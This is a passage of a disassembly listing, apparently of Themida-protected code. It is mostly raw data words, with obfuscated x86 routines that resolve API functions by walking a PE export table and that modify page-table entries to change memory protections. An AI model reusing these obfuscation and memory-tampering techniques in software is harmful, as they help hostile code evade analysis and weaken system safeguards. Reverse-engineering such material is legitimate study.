0BFCB6B67h, 0D750B4C4h, 0AAA2C6B5h, 1ACE2B39h, 89166A6Fh dd 0FDB8D48Bh, 95FC1BCDh, 0A8A45A76h, 5579DDEDh, 247688D1h dd 9CAF53F0h, 0CAB58421h, 4ACE53F0h, 0E1FB20C8h, 34858594h dd 13FFFFFEh, 0F09286B9h, 93457853h, 0F28953F0h, 6C2120D6h dd 5ED43048h, 0F093ED5Fh, 932C1353h, 75E053F0h, 0F0931928h dd 7CB69A53h, 0F093CE71h, 22720253h, 52D09F5h, 0E39AAB74h dd 28A56FEBh, 13F0FD15h, 0A8782D9h, 2755B408h, 0ECAD8B14h dd 42C689DFh, 0C16ED94Ah, 95E7F372h, 2F878DF1h, 962758DEh dd 35FB9612h, 0B066C337h, 163AE3F9h, 5EDEB8E5h, 0F3578FCBh dd 0EECD2Ch, 0A775E5A3h, 319h, 4CD0CBFBh, 37FBB2D3h, 1CE09DA8h dd 0A0E8583h, 0EF336E9Dh, 0CBFA486Ch, 0B8D552D6h, 0A2AE39FDh dd 828423E7h, 176A070Bh, 0E9E9BB96h, 119B3855h, 0AC9F188Bh dd 2753F092h, 0D8F0ADD8h, 5DA587Ch, 8708803h, 0D7893F9h dd 0DD57527Eh, 0D906CAD0h, 0CAFC0B49h, 0A0340321h, 8FB3F762h dd 67E6A76Bh, 0A055E98Ch, 95003B41h, 0C0F8B5D6h, 0BBCFCE44h dd 4C4FC018h, 9AACB3C8h, 7E801FE3h, 3664FC0Fh, 0CEAF15E3h dd 397844CEh, 5FC2A70Eh, 3F4C38C9h, 0EB33E0FEh, 0EE1D6145h dd 0FA3E6D9Fh, 28205B6Dh, 5CEF48BBh, 0D741BB3Ah, 0A81E3B81h dd 0CDF18530h, 0C0C271BEh, 0FD4141BBh, 1A6E7F37h, 326F9AE1h dd 0A46A4C1Ah, 0D87939C1h, 22596BB4h, 5B64AE2Ah, 9224C0DAh dd 9512095Bh, 4B9407A6h, 535593Dh, 3384C9Dh, 149F3775h dd 8F85C054h, 0F99BF33Ch, 0B09451BDh, 30C2C49Bh, 1C2F880Eh dd 974D8EE0h, 1B7F8FB3h, 92B433F7h, 0E070E31Bh, 7C5E21EBh dd 0A3FDD742h, 27BB7E56h, 0B984F103h, 754D8EFAh, 6BDD3AFFh dd 0DE547F15h, 5A7107E6h, 868C0703h, 50E2F825h, 0EF5357A7h dd 0F28667DFh, 0F11F6ED9h, 0C0682BAh, 4B8AA181h, 0B97EC26Dh dd 4480C064h, 0C23E0C7Ch, 94000001h, 6AF53974h, 47E02459h dd 52CD514Ch, 2AB57934h, 19A2661Bh, 0D808F37h, 34719E09h dd 205B77F0h, 4A4143DCh, 0D750ABC6h, 55E9EE64h, 805054FFh dd 99E01B61h, 80043467h, 0EEF43172h, 6749D906h, 0E178EBE3h dd 5569ABE6h, 6ACBC0B4h, 4FC51D2Ch, 0FF411782h, 158E54BCh dd 0BE132E2Fh, 0AC905FDDh, 0F93E0266h, 62FF8FAEh, 52C4D646h dd 4000001h, 1A858904h, 0F770B4E9h, 0C25DA1DCh, 0DA45C9C4h dd 0A932F6ABh, 9D103F87h, 84010E99h, 0B0EBE780h, 0DAD1F36Ch dd 67C03B56h, 55E9EFD4h, 80E0246Fh, 0AFDEE061h, 0E4173B9Fh dd 0D9062BBBh, 5695E349h, 2F5873FBh, 69ED151Fh, 87FE0B52h dd 0BBC2318Dh, 9FFB138Ah, 32C4C695h, 16609815h, 3DCC55E9h dd 0A6CAEECCh, 0C8C3C562h, 0E39AACB3h, 0DC2D9511h, 0E01293A8h dd 794FC09Dh, 75961115h, 606BF438h, 4846E125h, 0A1263E4Dh dd 70C6B4F9h, 0ABA3DAECh, 49090B2Fh, 0CB54C732h, 5FC3D578h dd 0FB5697FBh, 785FC3D5h, 42411E14h, 0FB1F96B4h, 0E499A837h dd 67788D7h, 799592F6h, 4F3CF43Eh, 0D5E053DCh, 1F635FC3h dd 5B494615h, 0C3D56FDAh, 7C60E45Fh, 6A15304Fh, 4952B27Bh dd 0B2CAEE02h, 6714DC56h, 60B2EB18h, 20E49FABh, 0A4018587h dd 5FC37995h, 8BACD82Eh, 54040D87h, 9F080C30h, 8FF73B72h dd 861DF87Eh, 0CF146E34h, 0BAC990ABh, 4F7751C7h, 7382AADCh dd 6D9906A1h, 0E645EABFh, 0BF192875h, 0B69A41BDh, 0E3E57A92h dd 0EAA3A0BFh, 0BDBF50E3h, 7594D341h, 60840038h, 1262B87Ch dd 88000000h, 3AC1F8Ch, 53F09230h, 9AB2EB18h, 4CC64A3Eh dd 346767CAh, 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h dd 0FBB6D5AAh, 178EBCC3h, 306D98E7h, 57464718h, 0D5681F27h dd 8900001Eh, 0EE68243Ch, 8900000Ch ; --------------------------------------------------------------------------- xor al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edx mov edx, 35AF02F3h push edx mov edx, 4B414311h shl edx, 1 shl edx, 6 sub edx, 529529DAh dec edx shr edx, 3 add edx, 0C6A8E50Ah mov esi, edx pop edx add esi, edx pop edx push esp mov edi, [esp] add esp, 4 push ecx mov ecx, esi push edx mov edx, ecx mov [edi+8], edx pop edx pop ecx mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_585C7C ; --------------------------------------------------------------------------- db 8Ah, 46h, 39h db 0FEh ; --------------------------------------------------------------------------- loc_5D5B09: ; CODE XREF: Themida_:005D4F4Aj mov eax, 6197EDAh add eax, ebp loc_5D5B10: ; CODE XREF: Themida_:loc_5D4F45j mov eax, ebx jmp loc_5D5B37 ; --------------------------------------------------------------------------- db 4Ah dd 0FE561h, 6 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5D5B37: ; CODE XREF: Themida_:005D5B12j jmp loc_5D6148 ; --------------------------------------------------------------------------- dd 50D4C7C7h, 43C7B6D7h, 28ECA9A4h, 161A91BFh, 3077A89h dd 0DFEE5478h, 0C4C15EA2h, 0AEDA45C9h, 8EB02FF3h, 37E1B1Fh dd 0E9ED97A2h, 84E72C55h, 0BC1A9DCCh, 3EF04597h, 50E874BDh dd 998391F7h, 5366567h, 0C74D4846h, 0A5FC74E7h, 26A39495h dd 62613EF4h, 4A7CEB2Fh, 0B1C83B53h, 64E01893h, 0DCCFF1AEh dd 0FFAED0AFh, 0FDC94BCFh, 1C2C6162h, 0A5789F78h, 2BE9A4A6h dd 0D75B5274h, 5AB33C48h, 0F662739Dh, 0BECEC3C2h, 0E12365Ah dd 23A7591h, 0A0AE507Dh, 4EC9C1E5h, 3A9588EFh, 0F09F4EFDh dd 0A641C553h, 78DCECA9h, 55E9E5BAh, 0D4587C37h, 0F2ABD8A7h dd 22596B20h, 0E14EB92Ah, 53F09F52h, 36A76DD1h, 53F09F14h dd 0FC2F4629h, 28205B6Dh, 549A66ACh, 62859499h, 71h, 0CD65674Eh dd 960B3ABCh, 0DAFE5A72h, 59C631A2h, 53F092EAh, 0AE2FE569h dd 53F0929Dh, 54A6CDA2h, 85948C86h, 167C89D0h, 0F66BA89h dd 315539ACh, 0F477BD19h, 6, 0CCC1C299h, 6667DC46h, 47780737h dd 0F5B1CDA4h, 2848DED9h, 0A5D5F996h, 0D9F1ACDAh, 60BBD2BDh dd 949B3D10h, 3E4D422Ch, 0F00942F1h, 0B77DC153h, 72B6E718h dd 54D8D3F5h, 3568679Eh, 44C54E06h, 6C9EC560h, 9D616E4Ah dd 0D2204450h, 0E81A61D2h, 0C9FA85B5h, 3C20A4D4h, 622859F6h dd 99B1EC1Bh, 3B0D3C3Dh, 958653F0h, 0F03B3908h, 0B2D6BA53h dd 35595475h, 4DA4D305h, 8E920F3Eh, 8CBCEF11h, 6DCAD8F3h dd 53F03BDEh, 0BDCDF155h, 4C8EE560h, 859533AEh, 0B628h dd 222E3D00h, 21F35767h, 9F188B3Fh, 53F092ACh, 0C3C42327h dd 749348CAh, 537E0139h, 6DCA2556h, 53F092DEh, 1836F155h dd 7317979Dh, 2F5E6D84h, 1D017C89h, 3D709FEEh, 67ADE0E2h dd 0F26DD8B3h, 0F09286B5h, 30391D53h, 53F09201h, 57671A29h dd 79BB9FF3h, 0DEEEA3A2h, 86B5F26Dh, 1D53F092h, 2624FB39h dd 163A7394h, 1E2D8AE5h, 9553F092h, 0FE4363B1h, 44FAF81Fh dd 7285948Ah, 50A2D9EBh, 7B97h, 0A4A5A400h, 920F3EE9h dd 12141E7Ah, 5356867h, 3B534E7Ah, 4A11C0Fh, 53F09235h dd 0A348CA4Eh, 930E3D4Ch, 0BAE0E178h, 0F092CE7Dh, 0DDC14553h dd 6751A357h, 0A6073766h, 53F092A4h, 0FD0D8886h, 0AFD16762h dd 2448CCFCh, 0CB06A714h, 4853F092h, 5CB35CC4h, 0A6556D6h dd 1C5D5873h, 53F0922Dh, 4845A2A6h, 5BD93D4Dh, 0BBC25DB4h dd 62E6168Dh, 8D22C890h, 1BC8594h, 78000000h, 27266C67h dd 0C1457528h, 0F09249F8h, 0D946CA53h, 7FDBF3AEh, 0A9B0235Bh dd 7E2DE79Ah, 0E29FAA4Ch, 314A6EEAh, 92EA59C6h, 0C5C253F0h dd 6054B0C8h, 8904031Ch, 23243B8Bh, 0FB0D526Ah, 63CC8880h dd 32E1060Ch, 0C3940DBh, 0C1CC8391h, 0A14040C4h, 0C707A0DBh dd 3849DC62h, 295B2454h, 8EDDAE72h, 510E0481h, 0ED4C7C2Fh dd 55E49D50h, 5AD53C5Bh, 9DF34EEFh, 0F77055E4h, 2FABA3DAh dd 84B7F00Bh, 1F55E49Dh, 2022F93Bh, 0C3EA96Dh, 0E4E67991h dd 286791A9h, 1A8082C1h, 0E49DAE9Dh, 3D212555h, 9B8F5DF9h dd 5B2F8BA8h, 85000001h, 0AD188Bh, 53F09231h, 0BC8FCEB2h dd 3753F092h, 1CEDC153h, 54D25368h, 0AD49DC90h, 0BCCE91A9h dd 0DE5FCAC1h, 55E49063h, 4B433A4Bh, 9D97FBCFh, 45384AD5h dd 65182A35h, 5DC8A355h, 0E49061D0h, 949EE255h, 5F61A0F7h dd 3AC1F2Ch, 55E49030h, 49FB7811h, 11650A82h, 0A2911E2Dh dd 2155E4EFh, 0B723D75Dh, 8BA90969h, 1E9BB6B5h, 4F6B14h dd 80410000h, 5FE8E465h, 0D0E53740h, 54678BB4h, 0F00D78CBh dd 7397FB53h, 0D0CDF58h, 43C7D3F0h, 0D5FEA4Bh, 4D7FD3F0h dd 33512E5Eh, 57384078h, 0A52AFA40h, 7F8CD34Eh, 2DB80C06h dd 0D88B1427h, 1B53F00Dh, 47450437h, 0D812C64Ch, 9Ah, 0E0618056h dd 0CC93ABE2h, 0B8DCC0BDh, 3A491083h, 6C0CD47h, 0FF49DC6Ah dd 9A10238Ch, 0AF9355E4h, 0DAEC738Bh, 0BEC05FA3h, 18A6B33Dh dd 0CBEFDBB6h, 33CA72B3h, 0DBEC55E4h, 0B6D5AAA2h, 8DBCC3FBh dd 284F1010h, 2E3D2EE2h, 0F1556520h, 98842B3Fh, 9C96494Dh dd 576998FFh, 7BA41724h, 55E422C8h, 854DC74Bh, 6398ECFDh dd 0CDA2FEC2h, 0A8243C4Fh, 0FAEF03A3h, 0B89CE42Eh, 0DECDFF80h dd 0A3CA29AEh, 0E5166283h, 0A39E1F8Ah, 205FDE53h, 0CFC6C35Ch dd 0D3704845h, 9DE145F7h, 61805B99h, 0F675E01Bh, 8FE42AD5h dd 26B27F77h, 3F85F002h, 0F349D9D9h, 0AAD95B6Ch, 5FBBD3F7h dd 91A9ADD5h, 3DC1BCCEh, 0F516A0A2h, 0D2FF80B8h, 7B93B7DBh dd 0EFFC9A3Ah, 0C128874Bh, 90D8082h, 0BBCA6C9Eh, 2E52B6C6h dd 0B2DEAD1Eh, 0B143C7F7h, 99B1EC1Ah, 0BDCDC8C6h, 0DCECA1A2h dd 4786ED2Ah, 82F534Ah, 8183C229h, 6799060Ah, 0A360434h dd 0BC000000h, 41401F8Ch, 5AD83C4Ch, 346767D0h, 52497B04h dd 6E29253Ah, 8904015Eh, 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h dd 306D98E7h, 57464718h, 9F681F27h, 8900001Ah, 0E2892414h dd 4C281h, 0EA830000h, 24148704h, 0E689565Ch, 4C681h, 0EE810000h dd 4, 5C243487h, 68243489h, 6CDh, 0BE243C89h, 6CFB0C85h dd 0DEF7EED1h, 60A3E681h, 0F6817618h, 44F715A8h, 354BA52h dd 0EAD15811h, 449BC281h, 0CA811348h, 3E26E95h, 0EA81DAF7h dd 67D4CB69h, 815AD631h, 0B5B128EEh, 4EC8356h, 83242489h dd 5F042404h, 8904EC83h, 478F2434h, 243C8B08h, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 5624348Bh, 0C681E689h, 4 dd 4C681h, 34870000h, 3DE95C24h, 0E3FFFAFBh, 9A77F694h dd 0C66F1704h ; --------------------------------------------------------------------------- loc_5D6148: ; CODE XREF: Themida_:loc_5D5B37j mov eax, 61984F2h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0CEh, 40h, 48h dd 403E013h, 0FBEF3666h, 14263D0Bh, 9F8F5F1Fh, 0DD936538h dd 0B6F6BE05h, 0E37FCC6Ch, 0B2C4D95Eh, 0F26E4A26h, 142E947h dd 0FCFC0000h, 8614B58Dh, 0BF600619h, 1D24741Ch, 3CE28166h dd 858D6194h, 6174134h, 60D0FFF5h, 81F78B66h, 0A80AB3D6h dd 60C3615Eh, 0FFABF0Fh, 0F561D6BFh, 6AD98C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 423C357h, 14E9h, 7F887F00h, 1E65FF0Bh, 0FB751472h, 7B7E1FEh dd 75B8AA71h, 4C1F6C7h, 7A840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 8564C3C3h dd 10E960A1h, 8F000000h, 0C03C5F7Eh, 5D30BF98h, 9C053D6h dd 618CAFF5h, 6800Fh, 0B3600000h, 61C18AA2h, 0CB8BFB8Bh dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 6ACF00h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 59D758C3h, 514DE381h, 7860FDCh, 0F000000h, 186h, 6660FC00h dd 0FEF7AB8h, 0F61FEB7h, 0F8Fh, 0AE900h, 0C1BC0000h, 32394290h dd 187B9AEh, 86B085C7h, 13F0619h, 125C0001h, 0BE2E1EFFh dd 629C2ADBh, 7033F399h, 344B078Dh, 717C7BF1h, 8495FD20h dd 84518063h, 0F060321Dh, 4A8D08Dh, 896E1C89h, 32E233EDh dd 56FE3D21h, 5EBD3220h, 37366320h, 146F3220h, 0BDEEF179h dd 0B5DF166Ch, 2EE91664h, 75F63220h, 1D1AF171h, 0D152C769h dd 34D0DBDFh, 91263220h, 471085A1h, 19DD9DEFh, 0EBFEF8A9h dd 34F5ABC9h, 627B5820h, 34BD31C8h, 0F7801220h, 101BBB7Eh dd 10F3B324h, 34DB2E24h, 0F7BB7420h, 58A04F3Ch, 1CCA28FBh dd 970454EAh, 1D63B1B2h, 34692620h, 3498B62Fh, 0B5D43220h dd 34ED3222h, 83F9FCABh, 372FDBD3h, 34D73220h, 34DDDA73h dd 6F4F3220h, 683E69E3h, 705A3604h, 34F83604h, 67B53220h dd 0BE287BE3h, 7A38BFF5h, 67D82BA7h, 0B8A9B346h, 8B276D46h dd 2C24A51Dh, 0F5585270h, 0BF90A241h, 4FEBFEAh, 54BB2BA7h dd 0DA5F54D8h, 640EDFE4h, 0BD45B946h, 34B11624h, 34EEDA71h dd 6DD63220h, 78F26BE3h, 703C3604h, 34C23604h, 652E3220h dd 1B12C5E3h, 0EFB299EFh, 0E56C58C1h, 8E0BD3h, 4A6A7DFh dd 34033434h, 0BF890F25h, 616F58E0h, 34B731C8h, 0F7861220h dd 1081BB7Dh, 10B2B324h, 347B2724h, 0F7E87720h, 0BFB84D1Fh dd 0C5D2B1F6h, 34B12630h, 89583B55h, 32F93C05h, 64EF4620h dd 8CBBB973h, 34BD365Ah, 2CC7B7A9h, 0A9E23434h, 32A19572h dd 6C80E1DFh, 3AC88FA3h, 40F63434h, 8C286237h, 34BD365Ah dd 2CC7B7A9h, 0A9E23434h, 32A19661h, 6C80E1DFh, 0BA1D8876h dd 52AF3ECCh, 0BFA1279Eh, 34B5DAE0h, 60A43220h, 0BB515534h dd 0B5D1A90Bh, 6ADB18E1h, 0B3D5AFADh, 0FA773439h, 69F95C3Fh dd 0B159B7ADh, 0B4D13439h, 346F3231h, 34B73EC9h, 560A6B20h dd 6F2BBD83h, 7C7070F7h, 52ABCD14h, 0F4B6E5ABh, 3450B62Fh dd 38873220h, 5EB73220h, 0C29470F6h, 0E392B668h, 0DDF80B96h dd 347B322Dh, 0AF60CE78h, 179A574Dh, 4B3B31FBh, 0B94B6B47h dd 2096CDBDh, 62ED5826h, 34F631C8h, 0F7251220h, 10C9BB7Eh dd 109AB324h, 346F2924h, 0F7E17420h, 0C162EEC8h, 3C35C9FFh dd 0BF906440h, 3E926AF1h, 98BD3220h, 1B39668Bh, 0A83A1991h dd 370F53ADh, 5EDB3220h, 37056720h, 14F63220h, 0BD26F17Dh dd 0B5B9164Ch, 20DA1664h, 716F3220h, 0B528F175h, 449E58FFh dd 0C80ECD34h, 0B3B6AFADh, 0C2FA3439h, 7F1D77F6h, 0B13AB7ADh dd 34053439h, 34B4DA77h, 6BFB3220h, 48646DE3h, 70773604h dd 346F3604h, 63FA3220h, 0DC8EF9E3h, 346F3227h, 4CAA3F46h dd 0B4FD5887h, 6BB43AEEh, 0E409DA91h, 0DC28324Ah, 34BD3223h dd 6F1D6900h, 304B6EA9h, 309376A1h, 34DB3237h, 0B12E6163h dd 67511A24h, 0E8DA659Fh, 0F4B6683Fh, 348CB62Fh, 0EAEF3220h dd 0CB2ABF1Fh, 5EDD266Dh, 37056420h, 14F63220h, 0BD25F17Eh dd 0B5B91654h, 22DA1664h, 726F3220h, 0CD6FF176h, 34DA8AB2h dd 3D053220h, 0CFF63220h, 0A021D1Fh, 3236DB89h, 0E3018D46h dd 0B58CCD7Fh, 0AB8BFCF1h, 34DDDB1Fh, 97893220h, 8C581149h dd 0B33EAFADh, 34D73439h, 34DDDA71h, 6D4F3220h, 783E6BE3h dd 705A3604h, 34F83604h, 65B73220h, 0B9320CE3h, 2D38D6A5h dd 0EA5F5426h, 0E490F3C5h, 0DCE6324Ah, 34DB3223h, 6D2E6B00h dd 30D27EA9h, 305F76A1h, 34BD3234h, 221D6361h, 0F464F9ABh dd 34D3B62Fh, 0A9563220h, 32F97FDFh, 0DCA0324Ah, 347B3223h dd 6A7E6C00h, 30FA46A9h, 304B76A1h, 34B73239h, 0A186466h dd 0FA581463h, 34733DA6h, 3B7B3220h, 34BD37A7h, 0F2678B20h dd 37D758B3h, 5EB73220h, 37336720h, 14ED3220h, 0BDABF17Dh dd 0B57F164Ch, 21B91664h, 71DE3220h, 3CFBF175h, 0EA36C6AAh dd 5C178640h, 5EAED1DFh, 371E6120h, 147B3220h, 0BDE6F17Bh dd 0B5DA167Ch, 286B1664h, 77B73220h, 0C83EF173h, 1EAF61F8h dd 8A08D1FCh, 39BC2CEDh, 0B3938FADh, 0B9533439h, 3276B95Ch dd 7FEB4F98h, 815E01AAh, 1FEB263Eh, 0AFADF3EFh, 3439B3B6h dd 77F6C2FAh, 0B7AD7F1Dh, 3439B13Ah, 0DA773405h, 322034B4h dd 0F305E983h, 8AC08BA4h, 0C38BFCD7h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 8DC35141h, 0F356EA1Eh, 0B70FA302h dd 0C08BFCCBh, 83D7B70Fh, 1410F1BDh, 9750006h, 0E25BD83h dd 74000614h, 8B535019h, 47AB8C0h, 85890000h, 61424F1h dd 0A7B99D8Dh, 0D3FF0616h, 0BD83585Bh, 6140E25h, 50177400h dd 47AB853h, 85890000h, 61424F1h, 0A45A9D8Dh, 0D3FF0616h dd 0C980585Bh, 8BFE8B2Ah, 6E8C0h, 83620000h, 328CFA42h dd 45D38158h, 810EC1D5h, 6FF1C0h, 0BE00h, 80570000h, 8B5A5CC2h dd 0B652300Ch, 0F1815BE5h, 4E1ADBB0h, 81AACB80h, 72C58CE9h dd 7B45BF7Dh, 0E9817F6Ch, 51DB3D60h, 11E9h, 14ABEC00h dd 15C3848Ch, 6806803Bh, 0B46D18A0h, 6051A29Ch, 10E9h dd 0F1293900h, 1458D0E6h, 0F4E4E2DBh, 0B901716Ch, 48F61E0h dd 0BE830h, 5F650000h, 2286CCDDh, 0FF28EC2Bh, 18C0FB8h dd 0FC000000h, 2EE835Bh, 5E94E4Eh, 77000000h, 975E2BE4h dd 9108FE81h, 850FFFFFh, 1Ch, 3E28166h, 51E9D4h, 0AE3C0000h dd 8AF5A263h, 78C52210h, 2DE850BFh, 902D97ABh, 0AE860h dd 2EBD0000h, 70AA7903h, 0FA40F039h, 14E95FF9h, 0FD000000h dd 0E1738149h, 6A4D5212h, 4E74FF94h, 0DB9A7C20h, 61F737F8h dd 0FFFF2EE9h, 0A8F051FFh, 0A2C50CD5h, 39F9C137h, 8D7143FFh dd 198DCB8Dh, 5858906h, 89061400h, 142B698Dh, 45852B06h dd 0C706142Eh, 14105585h, 72A806h, 0DE900h, 80BF0000h dd 9CDBBEDAh, 4062DC1Bh, 57AEBA7Ch, 7547CE81h, 0C75A195Bh dd 14013D85h, 6, 0E1958B00h, 0FF06141Bh, 140E15B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 4C63807Eh, 8BE98482h, 142C09B5h, 0D995FF06h, 6A06140Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h dd 8BDC353h, 3DCE3AFAh, 250A7167h, 95FF006Ah, 6142971h dd 5FEBC08Bh, 359C9D1Eh, 5382F52Ah, 967DDCCCh, 82C94D4Bh dd 0EE4D2EDFh, 152DDA59h, 0F68451C5h, 5A2D11E7h, 2BA5FB6Ah dd 0E6F12939h, 0DB1458D0h, 6CF4E4E2h, 0E0B90171h, 0DD07536Bh dd 5C375724h, 5EE2C54Ch, 0CBD6C508h, 55E1EC52h, 97E517CAh dd 2DFAEDB7h, 9C7F83B5h, 0D75D639Fh, 5D41F204h, 0E91D343Dh dd 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h, 140C2DB5h dd 0FE858D06h, 0FF061778h, 458589D0h, 8B06141Ch, 0CEFC1FEh dd 6000068h, 6A006A20h, 0D685702h, 0FF000100h, 141C4595h dd 32E906h, 85C60000h, 6140849h, 30DF6856h, 0B5FFA9C5h dd 6142C65h, 78FE858Dh, 0D0FF0617h, 138D8589h, 858D0614h dd 6142529h, 6A406A50h, 95FF5605h, 614138Dh, 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 0B2858908h, 8B06198Eh, 85890C42h dd 6198EAAh, 8910428Bh, 198EAE85h, 0E8B58D06h, 8D06198Eh dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 8EB2B58Bh, 858B0619h dd 6198EAAh, 8EAEBD83h, 0F000619h, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 6198EB2h, 8F39B58Dh dd 858D0619h, 5B8EA1h, 5A61D0FFh, 8EB2858Bh, 4C20619h dd 0B2858B00h, 8B06198Eh, 0B2858900h, 0CF06198Eh, 0 ; --------------------------------------------------------------------------- pusha mov [ebp+6198F0Fh], esi mov [ebp+6198F0Bh], eax lea eax, [ebp+6141D55h] mov eax, [eax+44h] mov [ebp+6198F48h], eax lea esi, [ebp+6198F7Eh] lea eax, dword_5B8EA1[ebp] call eax popa mov eax, [ebp+6198F0Fh] retn ; --------------------------------------------------------------------------- mov ebx, [ebp+6198F0Bh] movzx eax, word ptr [ebx+3Ch] add ebx, eax mov ebx, [ebx+78h] add ebx, [ebp+6198F0Bh] mov esi, [ebx+24h] add esi, [ebp+6198F0Bh] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [ebp+6198F0Bh] add esi, [ebp+6198F0Bh] cld or ecx, 0FFFFFFFFh loc_5D6B4F: ; CODE XREF: Themida_:005D6B6Dj ; Themida_:005D6B7Cj inc ecx mov ebx, [ebp+6198F0Fh] mov edx, [edi] add edx, [ebp+6198F0Bh] add edi, 4 loc_5D6B61: ; CODE XREF: Themida_:005D6B75j mov al, [edx] test al, al jz loc_5D6B7A cmp al, [ebx] jnz loc_5D6B4F inc ebx inc edx jmp loc_5D6B61 ; --------------------------------------------------------------------------- loc_5D6B7A: ; CODE XREF: Themida_:005D6B65j cmp al, [ebx] jnz loc_5D6B4F pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [ebp+6198F0Bh] mov [ebp+6198F0Fh], eax mov esi, eax mov ecx, esi mov eax, ecx cmp dword ptr [ebp+6198F48h], 0C0300000h jnz loc_5D6BBB shr eax, 14h and eax, 0FFCh jmp loc_5D6BC3 ; --------------------------------------------------------------------------- loc_5D6BBB: ; CODE XREF: Themida_:005D6BA8j shr eax, 12h and eax, 3FF8h loc_5D6BC3: ; CODE XREF: Themida_:005D6BB6j mov edi, [ebp+6198F48h] or dword ptr [edi+eax], 6 mov edx, [edi+eax] mov eax, edx and al, 81h cmp al, 81h mov eax, ecx jz locret_5D6C35 cmp dword ptr [ebp+6198F48h], 0C0300000h jnz loc_5D6BFB shr eax, 0Ah and eax, 3FFFFCh jmp loc_5D6C03 ; --------------------------------------------------------------------------- loc_5D6BFB: ; CODE XREF: Themida_:005D6BE8j shr eax, 9 and eax, 7FFFF8h loc_5D6C03: ; CODE XREF: Themida_:005D6BF6j sub eax, 40000000h or dword ptr [eax], 6 test dword ptr [eax], 80h jz locret_5D6C35 cmp dword ptr [ebp+6198F48h], 0C0300000h jz locret_5D6C35 and eax, 3FF8h mov eax, [eax-3FA00000h] or dword ptr [eax], 6 locret_5D6C35: ; CODE XREF: Themida_:005D6BD8j ; Themida_:005D6C11j ... iret ; --------------------------------------------------------------------------- lea eax, [ebp+6198EB6h] mov [ebp+614305Dh], eax lea eax, [ebp+6198F4Ch] mov [ebp+6141255h], eax lea eax, [ebp+6198F13h] mov [ebp+6140AB1h], eax lea ecx, [ebp+6199199h] push ebx jmp loc_5D6C78 ; --------------------------------------------------------------------------- dw 0CF59h dd 60E8ADB5h, 0A56E9FF1h, 0BD7DED20h, 3C0D9F26h ; --------------------------------------------------------------------------- loc_5D6C78: ; CODE XREF: Themida_:005D6C61j pop esi mov [ebp+6142B69h], ecx add dl, 53h mov dword ptr [ebp+6141055h], 6848h push 0 push ebp call sub_5D6C97 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D6C97 proc near ; CODE XREF: Themida_:005D6C8Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5D6C97 endp ; --------------------------------------------------------------------------- test eax, 7E0D017Dh dec ebp db 3Eh mov edx, 6D2528BCh mov dword ptr [ebp+614013Dh], 0 push 0 push ebx call sub_5D6CC8 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D6CC8 proc near ; CODE XREF: Themida_:005D6CC0p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5D6CC8 endp ; --------------------------------------------------------------------------- dd 0A8E42640h, 0FF617ED9h, 140ECDB5h, 11890F06h, 0E9000000h dd 0Ch, 6AD6022Ch, 0B7DBA78Fh, 0B96A50D1h, 0BD995FFh, 6A0614h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 68FC15C3h, 958BAF46h, 6142565h, 31419D0Bh, 6A0614h dd 297195FFh, 0C08B0614h, 9491DEBh, 0CD6A9CFCh, 0FEC03223h dd 0DF188258h, 85ED38A4h, 2371BE50h, 33B0E36h, 0E9BE7DF4h dd 13Ch, 4Fh dup(0) ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6141569h], 1 jz loc_5D7559 jmp loc_5D6EB3 ; --------------------------------------------------------------------------- dw 0ECABh ; --------------------------------------------------------------------------- test al, 31h sbb eax, 2DBE5474h loc_5D6EB3: ; CODE XREF: Themida_:005D6EA5j jmp loc_5D6EC4 ; --------------------------------------------------------------------------- dd 402F90A4h, 0A5E89883h, 0C090EF3Ah ; --------------------------------------------------------------------------- loc_5D6EC4: ; CODE XREF: Themida_:loc_5D6EB3j mov byte ptr [ebp+6140849h], 43h jmp loc_5D6EE3 ; --------------------------------------------------------------------------- dd 1A9559D3h, 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh db 6Eh, 0Eh, 63h ; --------------------------------------------------------------------------- loc_5D6EE3: ; CODE XREF: Themida_:005D6ECBj push 988A68E9h jmp loc_5D6EFA ; --------------------------------------------------------------------------- jmp short loc_5D6F68 ; --------------------------------------------------------------------------- db 82h ; --------------------------------------------------------------------------- scasd rcr dword ptr [eax+6533CC58h], cl retf 0AA07h ; --------------------------------------------------------------------------- loc_5D6EFA: ; CODE XREF: Themida_:005D6EE8j xor dword ptr [esp], 742FB81Ch push 0 push ebx call sub_5D6F0C and 